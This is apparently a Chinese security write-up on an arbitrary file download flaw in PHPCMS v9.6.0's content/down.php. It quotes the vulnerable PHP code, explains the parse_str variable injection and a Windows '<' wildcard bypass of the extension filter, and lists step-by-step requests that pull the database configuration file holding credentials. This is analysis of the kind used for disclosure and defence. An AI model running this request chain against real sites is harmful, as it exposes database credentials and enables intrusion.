一、背景

任意文件下载漏洞和《PHPCMS v9.6.0 wap模块 SQL注入》在同一个文件,只不过触发点在download函数。

二、详情

漏洞文件在phpcms\modules\content\down.php,漏洞触发函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);
}
}
}

这个函数用于下载文件,其基本流程是:从外部获取a_k参数 -> 解密a_k字符串 -> parse_str注册变量,假设我们可以控制a_k参数,那么就可以将我们的payload带入,实现任意文件下载。(上文中后续代码会对下载文件的后缀进行检测,在Windows下可以通过”<”符号来匹配文件,例如index.php可以使用index.ph<来完成绕过)

然后再看同一文件里的init函数的最后几行,

1
2
3
4
5
6
7
8
9
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');

可以看到这里通过将多个变量拼接后加密生成了变量$a_k并作为下载链接返回到了客户端,所以我们需要再想办法控制这些变量。看该函数的头几行:

1
2
3
4
5
6
7
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);

这些变量的值还是来自外部的a_k参数,然后解密并由parse_str注册而成。这里就回到了《PHPCMS v9.6.0 wap模块 SQL注入》漏洞的触发处。但是我们这里我们并不要sql注入,而是让程序继续往下执行完成文件下载功能。之前的步骤可参考《PHPCMS v9.6.0 wap模块 SQL注入》,在此略过。

三、验证

  • step 1: 通过访问wap模块拿到加密后的cookie

    1
    127.0.0.1/index.php?m=wap&c=index&siteid=1
  • step 2: 将上面得到的加密cookie作为userid_flash的值,并带上payload访问swfupload_json函数

    1
    2
    URL: 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
    POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj

其中payload是经过url编码的,解码后为:

1
127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&i=1&d=1&

  • step 3: 将上面得到的加密cookie作为参数a_k的值再访问init函数

    1
    127.0.0.1/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE
  • step 4: 直接点击页面中的下载链接,即可下载。